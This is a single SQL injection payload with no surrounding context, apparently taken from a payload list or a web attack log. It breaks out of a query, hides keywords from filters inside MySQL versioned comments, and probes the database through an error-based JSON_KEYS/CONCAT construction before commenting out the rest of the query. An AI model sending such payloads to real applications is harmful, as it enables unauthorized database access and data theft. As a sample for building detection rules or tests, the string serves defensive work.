1)) AS NhACj6u2 WHERE 4799=4799,(/*!50000SELECT*/2740/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(~,(/*!50000SELECT*/(ELT(2740=2740,1))),~))/**/USING/**/utf8))))x)– – 1